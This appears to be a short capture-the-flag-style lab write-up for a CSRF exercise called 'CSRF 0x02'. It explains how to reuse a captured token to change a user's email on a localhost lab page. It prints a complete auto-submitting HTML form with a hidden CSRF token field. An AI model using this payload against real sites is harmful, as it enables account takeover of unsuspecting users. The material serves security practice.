CSRF 0x02
First update the email of jeremy

get the token from the post request

here paste the token part then just change it

then visit the html
you can host this file with live target or something

now the email was change

Last updated
First update the email of jeremy

get the token from the post request

here paste the token part then just change it

then visit the html
you can host this file with live target or something

now the email was change

Last updated
<html>
<body>
<form action="http://localhost/labs/csrf0x02.php" method="post">
<input type="text" name="email" value="tryingcsrf@csrf.com" >
<input type="text" name="csrf" id="csrf" value="kyouwashere" hidden>
<button type="submit">Submit</button>
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
</body>
</html>file:///home/kali/bug-bounty/csrf2.html